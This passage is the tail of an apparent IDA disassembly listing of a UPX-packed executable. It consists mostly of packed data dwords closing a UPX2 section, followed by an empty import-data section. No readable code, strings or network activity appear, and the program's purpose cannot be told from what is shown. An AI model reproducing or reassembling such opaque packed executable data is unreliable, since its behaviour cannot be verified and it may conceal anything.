		dd 0E6E543C7h, 83810463h, 5CBBAE3Eh, 0E97C5F89h, 0F7169A3Dh
		dd 2F0B42F5h, 19626AB7h, 788324F7h, 4C97FEC5h, 16459301h
		dd 0D411AAADh, 0ED297E87h, 0A4C91758h, 50C32329h, 0E85A900h
		dd 382DE7B6h, 79C8D5CDh, 0C04B7F3Dh, 9473EEF4h,	68D9FE49h
		dd 0C3D4854Dh, 5071D664h, 6A2F1C5h, 0D2030E8Dh,	0E7CCC16Dh
		dd 88FAFB88h, 347FCA10h, 237BBCFh, 49D825BDh, 0B0BB6F0Dh
		dd 0D4C3DEE6h, 50CBE5D2h, 0A177C20Dh, 406BC25Ch, 2B4C3DB5h
		dd 0E8D94E1Ch, 207975Dh, 0FE2E6B65h, 0A76FFA2Fh, 0B8576C7Ch
		dd 419A62ADh, 0A0AB1A2Ch, 74D5C47Eh, 0B7C08878h, 5C4DDE68h
		dd 0F0C305D1h, 4F9E75DBh, 3656A387h, 0DCB74267h, 3525242Ch
		dd 0F8B7CAE5h, 89CC813Fh, 0B5E445EFh, 7BDA51FCh, 4F6071AFh
		dd 963E43D7h, 0FF57E2C7h, 0BDCF165h, 2100192Ch,	88933409h
		dd 49B84FBDh, 447AC651h, 717FF2CFh, 4DDC6EB9h, 0ACB76891h
		dd 0AC66ABE1h, 209FEA75h, 0AF67918h, 0FC47D2FDh, 161B66B1h
		dd 0E4C39700h, 702A0E59h, 11681DD3h, 0AD6BB2C3h, 0B4132460h
		dd 5DEC08A9h, 9CA71BB9h, 7F44FED2h, 448F61A1h, 0AAE627F9h
		dd 8637C2E0h, 55F400A1h, 949F0065h, 0ECBC3ECCh,	3C87D2B9h
		dd 400B66DAh, 8E7F79AFh, 0B8032698h, 7381E26Dh,	20825ED4h
		dd 0CB874915h, 0B551AE6h, 59AE72BDh, 0B0BB6B27h, 0A97597E8h
		dd 0CD2EEE79h, 2C37EFCFh, 21C4B0h, 188A95E5h, 2BF37EA0h
		dd 0F8C8EDA5h, 509BE4E5h, 9190BA6Fh, 0F803A36Fh, 0E5DFF752h
		dd 586836C1h, 0C93B05AAh, 0C193DE2Bh, 5C4A7878h, 0F3F2B5D1h
		dd 955F0B66h, 67B22A13h, 2C9AB4F8h, 0EC1E2921h,	915FEADCh
		dd 71B77109h, 8F07529Fh, 5E5EAFB8h, 35AFBA68h, 27EB9F48h
		dd 5C57ADEDh, 0C9D3E33Eh, 747A4AD5h, 8A819A66h,	0D92EF23Dh
		dd 303BEBC3h, 3C041126h, 0D87D6F01h, 0AF25718Dh, 773AE1A0h
		dd 8A1A63D4h, 0A373FE24h, 7FFFAE96h, 0E31B66A8h, 532E3957h
		dd 0F122F9A8h, 0CBA34A8h, 97647501h, 17C68C9Eh,	0D040D39Fh
		dd 88A48572h, 1BF2D652h, 948CF2E4h, 6F3C9478h, 98CEECA4h
		dd 0BA881FBFh, 4BAD2B79h, 0E38FB5C2h, 7E84C65Fh, 581F2BE1h
		dd 0C7F68D3Ah, 72867558h, 4FD76240h, 44EF7D18h,	8CF74319h
		dd 3B539EE9h, 13ACB17Dh, 0D764D7Ah, 848F36CBh, 6B7C65C5h
		dd 4D4B6EC4h, 7A779093h, 0F43368C2h, 0DCAF0223h, 8E92EB1h
		dd 259BDAECh, 0AFA759EDh, 0A006B3D8h, 0C76362E8h, 0F2A865BCh
		dd 3D3A0555h, 0C36C21D6h, 55308FFEh, 7434C59Fh,	3BF0A599h
		dd 0CDA07944h, 5D330D03h, 7D7429DEh, 266CE9A2h,	1715FAC6h
		dd 0EC3AAD62h, 9F947222h, 9B50E1C1h, 0D058FDE6h, 0F3A85CAEh
		dd 1F25F2CEh, 66CCB56Ah, 88D30881h, 0A3C91A3Dh,	309339EEh
		dd 594F9AE5h, 0FF2D8338h, 0B71E42CDh, 0E4CB1660h, 0E114D8CAh
		dd 283393DBh, 9A651BB9h, 8A565830h, 0A5EBBF8Ah,	26480E59h
		dd 2A49E111h, 653B8D80h, 0F4CB0FDAh, 8BE45EA9h,	9CC7326Bh
		dd 973E0951h, 0B28FDA25h, 1761F2BAh, 0EC375F49h, 0E075D7A1h
		dd 0B4FF0A55h, 68637A46h, 0F36FD21Dh, 1FA4590Fh, 0E42FBF47h
		dd 0B041C599h, 0A7C768E6h, 53AF8580h, 377A21D5h, 18191721h
		dd 0F1FDF734h, 0CE1346D1h, 6C30E59Bh, 58A3EE92h, 1A15F86h
		dd 9D4896A1h, 0D45F476Fh, 570EA861h, 0F7431DA2h, 0DB9BE631h
		dd 644268B0h, 0C41D05D9h, 0B3FFBCAEh, 0D214C97Fh, 50F58B2Ch
		dd 0A893DE49h, 1F314C76h, 45B692ABh, 0C44F4AA5h, 21F3547Ah
		dd 6CB7042Ch, 0F12E2576h, 0E75D49F5h, 0BA6D216Dh, 31956392h
		dd 90DBBDF6h, 0E3F7245h, 0D07C31E6h, 0F3A84AE2h, 0EC61FD9Bh
		dd 39EF0096h, 0CBF81B28h, 7DE07B15h, 105B80D6h,	8D6FBAC5h
		dd 92A846F2h, 7A72C99Dh, 0B9CB564Ch, 57ECE27Fh,	297BF480h
		dd 9FC4829Fh, 559066E9h, 0A4AF175Bh, 79CB4C58h,	9EA4B26Eh
		dd 44493D65h, 7767885Ah, 883EE814h, 18E8327Dh, 8F44FB91h
		dd 695D6FDAh, 8D9CAEB9h, 0EC77A8EDh, 0EDC5E35Eh, 1202A35h
		dd 68F3D7CDh, 113D5F90h, 85D6A6B1h, 0E46F5707h,	0B8691CC8h
		dd 0A1619792h, 0F554F601h, 343FE00Dh, 25E52B16h, 49D872FDh
		dd 0B0BB6F15h, 0A861AFE8h, 0ED5CEE79h, 2C37EFBFh, 10DE69B7h
		dd 571F2A9Fh, 0E8DE882Ch, 9404125Dh, 509BE631h,	0A56ED058h
		dd 0B86B2534h, 0C3E73AADh, 0B5C3B340h, 0B43A0A15h, 0B75B5DEAh
		dd 99A6BD0Dh, 0F07B93F9h, 0C41F6766h, 84962E53h, 48CB832Bh
		dd 35FABA2Dh, 0D0B7CAE6h, 9DCC8136h, 41A7BA98h,	4233D98Eh
		dd 55005BAh, 40AE3137h,	0B44596BBh, 0E02B76E4h,	4B5AA2F5h
		dd 0B1A6E196h, 6C83B6B6h, 1CD5739Ch, 54C49AA5h,	0E2A208B1h
		dd 8984408Bh, 80CB7E37h, 9014EACAh, 7821BE63h, 0D61F0722h
		dd 149866F1h, 0F8D1BB8Dh, 0D9F3166h, 4851612Eh,	0DF96FBE9h
		dd 0B40622Ah, 0B72A156h, 9CE71DC5h, 70ABEE51h, 644DDA25h
		dd 185316F9h, 0EFDF82CDh, 20B56A1h, 0C0522A51h,	467EF26Dh
		dd 40872A9Eh, 10B3C6E8h, 6F2F7AC5h, 0E5336ACDh,	615638E6h
		dd 60EBDF2Fh, 0CB902BFDh, 0C91FF16h, 0BDh, 2D1h	dup(0)
UPX2		ends

; Section 4. (virtual address 0001E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 3151E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start